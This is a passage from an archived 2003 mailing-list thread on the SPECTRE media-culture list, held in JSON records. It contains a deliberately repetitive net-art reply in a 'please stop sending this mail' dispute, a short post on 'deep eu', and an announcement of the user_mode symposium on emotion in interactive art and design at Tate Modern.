p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.\n> > p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.\n> > p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.\n> > p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.\n> > p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.\n> > p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.\n> > p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.\n> > p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.\n> > p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.\n> > p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.\n> > p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.\n> > p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.\n> > p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.\n> > p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.\n> > p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.\n> > p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.\n> > p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.\n> > p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.\n> > p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.\n> > p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.\n> > p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.\n> > p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.\n> > p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.\n> > p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.\n> > p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.\n> > p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.\n> > p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.\n> > p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.\n> > p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.\n> > p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.\n> > p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.\n> > p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.\n> > p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.\n> > p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.\n> > p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.\n> > p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.\n> > p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.\n> > p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.\n> > p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.\n> > p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.\n> > p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.\n> > p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.\n> > p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.passolini? or\n> > dante?\n> >\n> > +\n> >\n> > > , & alive ?\n> >\n> > ???\n> >\n> >\n> > +\n> >\n> > i am still alive\n> >\n> > o.k.++\n> >\n> >\n> >\n> > regards\n> >\n> > [ b.t.w. gene.coded in *deep* mediterranian ]\n> >\n> > d\n> >\n> >\n> >\n> >\n> > > From: \"astr\u00ebe galbiatta .vnatrc.net.\" <astreegalbiatta at vnatrc.net>\n> > > Date: Mon, 07 Apr 2003 15:08:54 +0200 (CEST)\n> > > To: spectre at mikrolisten.de\n> > > Subject: Re: [spectre] please stop sending this mail\n> > >\n> > > En r\u00e9ponse \u00e0 mediterranian sea <the_sea_is_me at yahoo.com>:\n> > >\n> > > yes,\n> > > why not being\n> > > sunny, clear, joyful\n> > > , & alive ?\n> >\n> > +\n> >\n> > i am still alive\n> >\n> > o.k.++\n> >\n> >\n> > >> Yahoo! Tax Center - File online, calculators, forms, and more\n> >\n> > >> Yahoo! Tax Center - File online, calculators, forms, and more\n> >\n> > >> Yahoo! Tax Center - File online, calculators, forms, and more\n> >\n> > >> Yahoo! Tax Center - File online, calculators, forms, and more\n> >\n> > >> Yahoo! Tax Center - File online, calculators, forms, and more\n> >\n> > >> Yahoo! Tax Center - File online, calculators, forms, and more\n> >\n> > >> Yahoo! Tax Center - File online, calculators, forms, and more\n> >\n> > >> Yahoo! Tax Center - File online, calculators, forms, and more\n> >\n> > >> Yahoo! Tax Center - File online, calculators, forms, and more\n> >\n> > +\n> >\n> > i am still alive\n> >\n> > o.k.++\n> >\n> > >> ______________________________________________\n> > >> ______________________________________________\n> > >> ______________________________________________\n> > >> ______________________________________________\n> > >> ______________________________________________\n> > >> ______________________________________________\n> > >> ______________________________________________\n> > >> ______________________________________________\n> > >> ______________________________________________\n> > >> ______________________________________________\n> >\n> >\n> > >> http://tax.yahoo.com\n> > >> ______________________________________________\n> >\n> >\n> > +\n> >\n> > i am still alive\n> >\n> > o.k.++\n> >\n> >\n> > >\n> > > thanks for this smile from mediterranea !\n> > >\n> > > kisses\n> > > astr\u00ebe\n> > >\n> > >\n> > > \"Le vent se l\u00e8ve! . . . il faut tenter de vivre!\n> > > L'air immense ouvre et referme mon livre,\n> > > La vague en poudre ose jaillir des rocs!\n> > > Envolez-vous, pages tout \u00e9blouies!\n> > > Rompez, vagues! Rompez d'eaux r\u00e9jouies\n> > > Ce toit tranquille o\u00f9 picoraient des focs!\"\n> > >\n> > >\n> > >> Please please stop sending us this jargon and\n> > >> pretentious poetry.\n> > >> I find it sad, offensive, annoying and bothersome. Am\n> > >> I alone here?\n> > >> I could say more but it saddens me and I am tired and\n> > >> weary of conversations to a machine.\n> > >>\n> > >>\n> > >>\n> > >>\n> > >> ::cracked crys.tall.ine bea[s]ts\n> > >> ________________\n> > >> ::men[iscus_heart] plucking via broken bag.ga[u]ges\n> > >> _____\n> > >> ::toffee_leaking eyes + modal<head>\n> > >> __________\n> > >> ::butter hands creased [chrono(scopic)]logically\n> > >> ____\n> > >> ::[man]Dal[a]i shrin.cages + silence\n> > >> m[h]ounds||shrink_[psycho w]rapped + tender\n> > >> b[rown]andaging\n> > >> ______________________\n> > >>\n> > >>\n> > >> .\n> > >> .whis.purred time par.$elling.\n> > >> .\n> > >> _____\n> > >>\n> > >>\n> > >> ______________________________________________\n> > >> SPECTRE list for media culture in Deep Europe\n> > >> Info, archive and help:\n> > >> http://coredump.buug.de/cgi-bin/mailman/listinfo/spectre\n> > >>\n> > >>\n> > >>\n> > >> __________________________________________________\n> > >> Do you Yahoo!?\n> > >> Yahoo! Tax Center - File online, calculators, forms, and more\n> > >> http://tax.yahoo.com\n> > >> ______________________________________________\n> > >> SPECTRE list for media culture in Deep Europe\n> > >> Info, archive and help:\n> > >> http://coredump.buug.de/cgi-bin/mailman/listinfo/spectre\n> > >>\n> > >>\n> > >\n> > >\n> > >\n> > > \u00a8\u00a8\u00a8\u00a8\u00a8\u00a8\u00a8\u00a8\u00a8\u00a8\u00a8\u00a8\n> > > mais\n> > >\n> > > veux tu mais\n> > >\n> > > veux\n> > > ____________\n> > >\n> > > g.n.a.p.b.l.\n> > > .vnatrc.net/\n> > > ______________________________________________\n> > > SPECTRE list for media culture in Deep Europe\n> > > Info, archive and help:\n> > > http://coredump.buug.de/cgi-bin/mailman/listinfo/spectre\n> > >\n> >\n> >\n> >\n> > +\n> >\n> > i am still alive\n> >\n> > o.k.++\n> >\n> > [spectre] please stop sending this mail\n> > [spectre] please stop sending this mail\n> > [spectre] please stop sending this mail\n> > [spectre] please stop sending this mail\n> > [spectre] please stop sending this mail\n> > [spectre] please stop sending this mail\n> > [spectre] please stop sending this mail\n> > [spectre] please stop sending this mail\n> > [spectre] please stop sending this mail\n> > [spectre] please stop sending this mail\n> > [spectre] please stop sending this mail\n> > [spectre] please stop sending this mail\n> > [spectre] please stop sending this mail\n> > [spectre] please stop sending this mail\n> > [spectre] please stop sending this mail\n> > [spectre] please stop sending this mail\n> > [spectre] please stop sending this mail\n> > [spectre] please stop sending this mail\n> > [spectre] please stop sending this mail\n> > [spectre] please stop sending this mail\n> > [spectre] please stop sending this mail\n> > [spectre] please stop sending this mail\n> > [spectre] please stop sending this mail\n> > [spectre] please stop sending this mail\n> > [spectre] please stop sending this mail\n> > [spectre] please stop sending this mail\n> > [spectre] please stop sending this mail\n> > [spectre] please stop sending this mail\n> > [spectre] please stop sending this mail\n> > [spectre] please stop sending this mail\n> >\n> > i am still alive\n> >\n> > o.k.++\n> >\n> > |||||||||||darko.fritz.propaganda\n> > ________________________________ http://members.ams.chello.nl/fritzd\n> >\n> >\n> > ______________________________________________\n> > SPECTRE list for media culture in Deep Europe\n> > Info, archive and help:\n> > http://coredump.buug.de/cgi-bin/mailman/listinfo/spectre\n> >\n> >\n>\n>\n>\n> \u00a8\u00a8\u00a8\u00a8\u00a8\u00a8\u00a8\u00a8\u00a8\u00a8\u00a8\u00a8\n>     mais\n>\n> veux tu mais\n>\n>     veux\n> ____________\n>\n> g.n.a.p.b.l.\n> .vnatrc.net/\n> ______________________________________________\n> SPECTRE list for media culture in Deep Europe\n> Info, archive and help:\n> http://coredump.buug.de/cgi-bin/mailman/listinfo/spectre\n>\n>\n\n",
                                        "date": "Wed Apr  9 12:19:42 CEST 2003",
                                        "message-id": "2089",
                                        "url": "http://post.in-mind.de/pipermail/spectre/2003-April/002089.html",
                                        "content-type": "n/a",
                                        "author_name": "Zvonimir Bakotin",
                                        "subject": "[spectre] please stop sending this mail"
                                    },
                                    {
                                        "from": "jhopkins at uiah.fi",
                                        "id": "2095",
                                        "content": ">Deep eu is just another soros(tm) blessed hoax (c 1999) by ana peraica\n>isn't it? in contrat mediterranian/s are all about sharing (culture, arts,\n>sea, coast, vine, kitchen/recipes, songs afterwards, and whatsoever what\n>*we* use to do and/or how we behave) in the broadest common sense.\n>\n>Darko dear, you are born there aren't you. BTW your D.F. Propaganda(tm)\n>- (- self-advertise with care! - by Spectre Info page ) is just designed\n>to be *acceptable* in the context of (syndicate/spectre/nettime) not that\n>much about *ddep eu* isn' it (IMHO)...\n\nPerhaps 'deep eu' is yet another 'spectre' rising of Germany and \nespecially Berlin as geo-poli-cultural center of the (eu) world. \nWith the adoption of the next eu states, geographic-centrism of 'deep \neu' is inevitable!  Other centrisms will naturally follow...\n\n?\n\njh\n",
                                        "date": "Fri Apr 11 09:17:06 CEST 2003",
                                        "message-id": "2095",
                                        "url": "http://post.in-mind.de/pipermail/spectre/2003-April/002095.html",
                                        "content-type": "n/a",
                                        "author_name": "John Hopkins",
                                        "subject": "[spectre] please stop sending this mail"
                                    },
                                    {
                                        "from": "honor at va.com.au",
                                        "id": "2096",
                                        "content": "hi spectres,\n\nfor those of you based within the UK, or within travelling distance to \nLondon, i wanted to let you know about the major international symposium we \nare staging at tate modern, 9 - 11 may, called user_mode = emotion + \nintuition in art + design.\n\nthe event features artists, designers and researchers such as gary hill, \nsara diamond, natalie bookchin, foam, joshua davis, and lev manovich and \nmany others.\n\ni'd be absolutely delighted if some of you would be able to come along.\n\nbest\n\nhonor\n\n\n\n---------------------------------------------------------------------------------\nUSER_MODE DESCRIPTION AND PROGRAMME\n---------------------------------------------------------------------------------\n\nuser_mode\n= emotion + intuition in art + design\n\nan international symposium\nLondon, UK\nhttp://www.usermode.net\n\n\nFriday 9 May, 1030  1830\nSaturday 10 May, 1030  2200\nStarr Auditorium,\nTate Modern\n\n\nSunday 11 May, 1330 - 1800\nWellcome Wing\nScience Museum\nLondon\n\n\nTickets: \u00a360 (\u00a330 concessions)\nFor tickets, please contact: Tate Ticketing\nEmail: ticketing at tate.org.uk\nPH: (44) 020 7887 8888\n\n\nuser_mode is major collaboration between Central Saint Martins College of \nArt and Design and Tate Modern, supported by Intel Corporation, with the \nScience Museum\n\nuser_mode is an international, multidisciplinary symposium looking at \ninteractive art and design practices.  It will examine one of the key \nconcerns for many creative practitioners - engaging the emotions of the \naudience/user.\nParticipants include: Gary Hill (artist, USA), Sara Diamond (Banff Centre \nfor the Arts, Canada), David Ross (former Director of SFMOMA, USA), Stuart \nJones (composer and sound artist, UK), Lev Manovich (new media theorist, \nUSA) and Tobi Schneidler (Interactive Institute, Sweden).\nFull list below.\n\nThe event will feature:\n\n-\ta two day symposium at Tate Modern, featuring leading international \nartists, designers, theorists and technologists\n\n-\tan electronic music concert at Tate Modern on Saturday 10 May, which \nincludes live performances by leading musicians, Akufen, Golan Levin and \nJanek Schaefer\n\n-\ta wireless media lounge\n\n-\tan interactive exhibit at the Science Museum, RemoteHome by Tobi \nSchneidler, which envisages the living spaces of the future through \ninteractive furniture and a live connection between London and Berlin\n\n-\tan activity day at the Science Museum, featuring guided tours of \ninteractive art works\n\n\n---------------------------------------------------------------------------------\nUSER_MODE PARTICIPANTS\n---------------------------------------------------------------------------------\n\n- Akufen [ Canada ]: a musician who constructs electronic compositions from \nmicro samples of radio broadcasts\n- Dr Maribeth J. Back [USA]: a researcher, formerly at MIT, who will be \npresenting the Listen Reader book\n- Simon Biggs [ UK ]: an artist who creates immersive art installations\n- Natalie Bookchin & Jacqueline Stevens [ USA ] an artist and a political \nscientist who are presently working on online multiplayer artworks\n- Jonah Brucker-Cohen [ Ireland / USA ]: an artist and designer whose work \naddresses physical interfaces\n- Anthony Burrill [ UK ]: a graphic designer working with sound toys and \ninteraction\n- Carole Collett [ UK ]: Course Director, MA Design for Textile Futures, \nCentral Saint Martins, London\n- Susan Collins [ UK ]: an artist who creates participatory and immersive \nartworks\n- Joshua Davies [USA]: a designer and artist who makes evocative web-based \nartworks\n- Sara Diamond [ Canada ]: Artistic Director of Media & Visual Arts & \nResearch, Banff Centre, Canada\n- Arthur Elsenor & Remko Scha [Netherlands]: artists and researchers who \nwork with robotics and facial expression\n- The Faraway Project [ Sweden/Italy ]: a group who work with wireless \nnavigation and emotional space\n- FOaM [ Belgium/Netherlands ]: a group who create immersive envionments in \nsound, interactive textiles and visual media\n- Masaki Fujihata [ Japan ]: an artist who works with interactive installation\n- Peter Higgins [ UK ]: an interaction designer who creates interactive \ndiscovery environments\n- Anna Hill [ Ireland ]: an artist who uses sound recordings from the \nAurora Borealis and human breath to create interactive experiences\n- Gary Hill [ USA ]: an artist who works with video installation\n- Crispin Jones [ UK ]: an interaction designer who works pain and fear\n- Stuart Jones [ UK ]: a sound artist who is presently working with \nresponsive architectural environments\n- Golan Levin [ USA ]: an artist and engineer who works with interactive \nsound and performance\n- Lev Manovich [ USA/Russia ]: a theorist and writer of new media\n- Irene McAra-McWilliam [ UK ]: Professor of Interaction Design at Royal \nCollege of Arts (RCA), UK\n- Gordana Novakovic [ UK/Yugoslavia ]: a theorist presently exploring \nrelationships between theatre and interactive installation\n- Hannah Redler [ UK]: curator for c/PLEX, West Bromwich, UK\n- David Ross [ USA ]: a curator and former Director of SFMOMA and the \nWhitney, USA\n- Janek Schaefer [ UK ]: a musician who works with the vinyl record as \ncompositional tool\n- Tobi Scheidler [ Sweden ]: an architect and designer at the Interactive \nInstitute, Sweden\n- Selectparks [ Australia ]: a group of games developers working with \nmultiplayer games, music and architecture\n- Jenny Tillotson & George Dodd [ UK ]: a designer and a scientist working \nwith the artistic properties of aroma\n- Brendan Walker [ UK ]: a designer who is presently exploring methods of \nengineering thrill\n\n\n---------------------------------------------------------------------------------\nUSER_MODE  ABOUT THE EVENT\n---------------------------------------------------------------------------------\n\nuser_mode will examine one of the key concerns for many creative \npractitioners: how to engage the emotions of the audience|user. Artists, \ndesigners and critics frequently refer to \u0001\u2018emotional engagement\u2019 but what \nis meant by this? Is it immersion, rapture, agency, reflection? This \nquestion is crucial to interactive art and design practice where the user's \nresponse is sensitive to context and can influence not only the form and \ncontent of the  work but also, in some cases, the future direction of \ntechnological development.\n\nUbiquitous computing and mobile technologies are so embedded in our \nenvironment they play a significant role in the forming and reforming of \npersonal identity and the flux of social relations. We are on the cusp of a \nwireless revolution that promises increased access to communications \nnetworks and significant changes to how we work, play, learn and live our \nlives. Attention is moving away from the machines themselves to the value \nof the experience they can offer. How do they enable us feel and behave? \nHow can they enhance that intangible thing, our humanity?\n\nuser_mode is a constellation of international artists, designers, \ntechnologists and theorists whose work addresses these issues from a range \nof practices. There will be presentations of art installation, AI, \narchitecture, electronic music, networked role playing games, graphic \ncommunication, interaction design, net art, performance, smart textiles and \nwearable technologies. The symposium is a framework for discussion and \nexchange through which different disciplines can offer their perspective on \nuser engagement and benefit from each other\u2019s insights. The symposium will \nask if the participatory nature of interactive art and design offers a more \nprofound experience than traditional forms of art and design.\n\nuser_mode is a collaboration between Central Saint Martins College of Art \nand Design and Tate Modern. It is a follow up to the two-day international \nconference \u201cThe Allure of the Digital\u201d held at Tate Britain in 1999. \nCentral Saint Martins\u2019 role is to challenge conventional wisdom and promote \nnew insight through inspired creative practice and this event is a \nsignificant opportunity to drive forward the growing interest amongst \nstaff, students and researchers in humanising technologies. Tate Modern has \na wide-ranging programme of Public Events events which facilitate, foster \nand make public multi-disciplinary debates on modern and contemporary \nvisual art and culture.  user_mode is part of the dynamic Culture and \nTechnology strand of programming, which seeks to examines the impact of new \ntechnologies on artistic practice.\n\nThe symposium is the first of its kind at Tate Modern to be structured \naround an international Call for Papers. The huge number of proposals \nreceived and the inspirational quality of the work demonstrates the spread \nof the practice and the currency of the topic. The symposium reflects the \nbreadth and concerns of the submissions. On the first day it explores the \npoetics, techniques and purpose of engaging the user\u2019s emotions and then on \nthe second day goes on to discuss subjectivity, identity and social ecologies.\n\nThe event will culminate at the Science Museum where the audience will be \nable to view the interactive art installations and the RemoteHome, a piece \nspecially commissioned for the symposium.\n\n\n\n---------------------------------------------------------------------------------\nUSER_MODE PROGRAMME\n---------------------------------------------------------------------------------\n\n\nDAY ONE: FRIDAY 9TH MAY\n\n\n1100  1300\nSession 1: Poetics and Spectacle\n\nIs there a tension or conflict between metaphor and spectacle in \ninteractive work? Metaphor creates a chain of associations and provides a \npathway to engagement, interpretation and participation while the ultimate \nspectacle stuns and overwhelms an audience reducing them to passive \nspectators. Is spectacle intrinsically non participatory? This session will \nfeature presentations by installation artists and theorists, who are \nexploring metaphors for interaction and poetic approaches to engaging \nvisitors in an interactive experience.  Each presentation will last for \napproximately 20 minutes, and will be followed by a discussion, with \naudience feedback and questions.\nChair: David Ross\n\n\u2022\tGary Hill [USA] makes some of the world\u2019s most compelling video art \ninstallations which continually seek to trick the senses into perceptions \nbeyond their comprehension\n\n\u2022\tGordana Novakovic [UK/Yugoslavia] interactive installation artist will \naddress mixed realities, fear, spectacle and global (un)conscious]\n\n\u2022\tMasaki Fujihata [Japan] explores the fluidity of physical space in his \ninteractive art installations, which deeply engage the emotions of the user\n\n\nLunchtime Demo:\nThe Remotehome Tobi Schneidler, the wireless lounge\n\n\n1400  1600\nSession 2: Interactivity & Subjectivity: the quality of experience\n\nHow do we conceptualise interactivity and incorporate emotional values? \nEach presentation will last for approximately 20 minutes, and will be \nfollowed by a discussion, with audience feedback and questions.\nChair: Irene McAra-McWilliam\n\n\u2022\tStuart Jones [UK] works on environments that respond to a person\u2019s \npresence as an organism.\n\n\u2022\tMaribeth Back [USA] will present the The Listen Reader, an experimental \nbook originated at Xerox PARC which illustrates how new technologies can \ncontribute to the emotional experience of reading.\n\n\u2022\tBrendan Walker [UK] investigates how the emotion of thrill can be \npractically engineered\n\n\n1630  1830:\nSession 3: Session 3: Sensory Experience: perception and feeling.\n\nArtists and designers seem compelled to expand the sensory capabilities of \nour bodies. What do we gain through this process?  How does your work \nchange how we experience perception and feeling?\nThis session will feature presentations by aroma researchers, installation \nartists and designers who explore the science of sensory experience in \ntheir work.   Each presentation will last for approximately 20 minutes, and \nwill be followed by a discussion, with audience feedback and questions.\nChair: Sara Diamond\n\n\u2022\tJenny Tillotson and George Dodd [UK] explore what they term the most \nemotional of our senses smell.  Can art be created using aroma?\n\n\u2022\tAnna Hill [Ireland] uses sound recordings from the Aurora Borealis and \nhuman breath to create interactive experiences\n\n\u2022\tCrispin Jones [UK] explores the use of pain and fear in art installation \nand product design\n\n\n\nDAY TWO: SATURDAY 10 MAY\n\n\n1100  1300\nSession 4: Data Aesthetics: extending the palette\n\nIf aesthetics are visual conventions do they limit experience? Are the \naesthetics of  screen media and interactive experience a self-referential \nsystem? How do you extend this aesthetic palette?\n\nThis session will feature three presentations by media theorists and \nartists, whose work addresses the aesthetics of digital media and \ninteractive experience.  The session will explore the way artists and \ndesigners visualise information.  Each presentation will last for \napproximately 20 minutes, and will be followed by a discussion, with \naudience feedback and questions.\nChair: David Ross\n\n\u2022\tLev Manovich [Russia /USA] theorises that an entirely new language is \nneeded to discuss new media and digital aesthetics.\n\n\u2022\tJoshua Davies [USA] creates highly evocative web projects and is one of \nthe internet's most noted creative talents\n\n\u2022\tJonah Brucker-Cohen [USA/Ireland] produces highly physical, often \nmechanical, artistic interfaces for digital processes\n\n\n1400  1600\nSession 5: Immersion: the individual and the social subject\n\nHow does immersive experience change our point of view? How can interactive \nexperience create a social as well as an individual subject? This session \nwill feature three presentations by installation artists and interactive \nenvironment designers, who will address the way in which interaction can \nassist with the process of creating immersive experiences. Each \npresentation will last for approximately 20 minutes, and will be followed \nby a discussion, with audience feedback and questions.\nChair: Sara Diamond\n\n\u2022\tSimon Biggs [UK] creates large scale immersive interactive art \ninstallations and participatory internet and CDROM artworks\n\n\u2022\tGolan Levin [USA] makes interactive systems which allow people tocreate \nand perform animation and synthetic sound in real time\n\n\u2022\tSusan Collins [UK] makes artworks which engage users in the collective \ncreation of interactive fiction as immersive experience\n\n\u2022\tSelectparks [Australia] create artistic multiplayer games which recreate \narchitectural spaces as games and allow gaming engines to be used as \nmusical instruments\n\n\n1630  1830\nSession 6: Social Ecologies: learning, playing, belonging\n\nHow do we create work that sustains human relationships and social \ndynamics? This session will feature presentation by interaction designers, \narchitects, games developers and artists who will focus on how interactive \ntechnology can be used to create social experiences. Each presentation will \nlast for approximately 20 minutes, and will be followed by a discussion, \nwith audience feedback and questions.\nChair: Irene McAra-McWilliam\n\n\u2022\tNatalie Bookchin [USA] creates internet art projects and Jackie Stevens [ \nUSA ] is a political scientist who interrogates the politics of online \nmultiplayer games\n\n\u2022\tPeter Higgins [UK] designs museum exhibits which use play to engage \nvisitors in interactive learning experiences\n\n\u2022\tFoAM [Belgium/Netherlands] create physical and audio-visual worlds \ninsound, interactive textiles and visual media, and enable participants to \nbe the active shapers of these worlds\n\n\u2022\tTobi Schneidler [Sweden/Germany] focuses on the convergence of \narchitectural space with interactive technologies.  His RemoteHome \ninstallation shows how remote technologies can be used to create a \nflat-sharing scenario across two cities.\n\n\n2000  2200\n---------------------------------------------------------------------------------\nUSER_MODE ELECTRONIC MUSIC CONCERT\n---------------------------------------------------------------------------------\nuser_mode = emotion + interaction in electronic performance electronic \nmusic concert Akufen, Janek Schaefer & Golan Levin\n\nComplementing the user_mode symposium, this event will feature live \nperformances by leading electronic musicians and performers.  In tandem \nwith its exploration of the emotional dimension of electronic music, this \nevent will show ways that interactive techniques can dissolve the boundary \nbetween musician and listener, artist and spectator, and producer and user.\n\n\u2022\tAkufen (Marc Leclair) constructs invigorating electronic compositions \ncomprised of microsamples of radio broadcasts\n\n\u2022\tJanek Schaefer is a musician and sound artist based in London whose work \naddresses the role of the vinyl record as a compositional tool.\n.\n\u2022\tGolan Levin is an artist, composer, and performer from New York, who \nworks with interactive performance, installation, software design and \nmobile telephony\n\nTicketed seperately: \u00a310 (\u00a36 concessions)\nFor tickets, please contact: Tate Ticketing\nEmail: ticketing at tate.org.uk\nPH: (44) 020 7887 8888\n\n\n\nDAY THREE: SUNDAY 11 MAY\n\n13:30  15:00\nuser_mode activities at Science Museum: Proximity, Distance and Communication\n\nDoes person to person connectivity in the home and community lead to an \nenclosed personal world or to an open world where self and society \ninteract? A seminar featuring interaction designers, artists and games \ndevelopers will illustrate how technology can be employed in the creation \nof emotionally engaging interactive experiences.  The seminar will be \nfollowed by a guided tour of the Science Museum\u2019s interactive art displays, \npaying particular attention to Tobi Schneidler\u2019s RemoteHome exhibition, \nwhich has been installed especially for user_mode.\nChair Hannah Redler\n\n\u2022\tTobi Schneidler and Carole Collet on the RemoteHome\n\n\u2022\tThe Faraway project , Kristina Andersen [DK/UK], Margot Jacobs [Sweden], \nLaura Polazzi [Italy] investigate how emotions can be communicated over \ndistance using physical wireless devices connecting remote locations\n\n\u2022\tArthur Elsenaar and Remko Scha [Netherlands] show \"artificial emotions\" \non a computer-controlled human face.\n\n\u2022\tAnthony Burrill [UK] graphic designer who has developed a series of sound \ntoys, which can be played as 'live' instruments that help users interact \nwith the computer in a simple and non threatening way\n\n\n15:00 - 17:00\nTours of the interactive art projects in the Wellcome Wing\n\n17:00 - 18:00\nReception in the \"Fellows Room\"\n\n\n\n---------------------------------------------------------------------------------\nUSER_MODE THEMES\n---------------------------------------------------------------------------------\n\n\u2022\tHow do you engage and sustain the interest of the user/visitor/player in \nan interactive experience whether it is reflexive architecture, interactive \nfilm, art installation, responsive environment, computer games, \nperformance, wearable technologies, product, communication or experience \ndesign?\n\n\u2022\tDoes interactivity promise a more profound experience than more \ntraditional responses to art and design? What does it add? How is it measured?\n\n\u2022\tIs there more sense of participation within interactive work when \ncompared to conventional cinema, theatre, painting or architecture in \nemotional terms?\n\nuser_mode will seek to identify models of emotional engagement, aiming to \nquestion, extend and rework the most topical of the categories outlined below:\n\n\u2022\tEmotion as content or theme of the work\n\u2022\tEmotion as agency and control\n\u2022\tEmotion as subjective experience\n\u2022\tEmotion as a cognitive and physical process\n\u2022\tEmotion as an element of discovery learning in interactive exhibitions\n\u2022\tEmotion and navigation in architecture\n\u2022\tEmotion and narrative in film\n\u2022\tEmotion and gaming\n\u2022\tEmotion in sound composition and audio environments\n\n\n\n---------------------------------------------------------------------------------\nUSER_MODE COLLABORATORS\n---------------------------------------------------------------------------------\n\nTate Modern\nhttp://www.tate.org.uk\n\nTate Modern is Britain's new national museum of modern art. Housed in the \nformer Bankside Power Station, Tate Modern displays the Tate 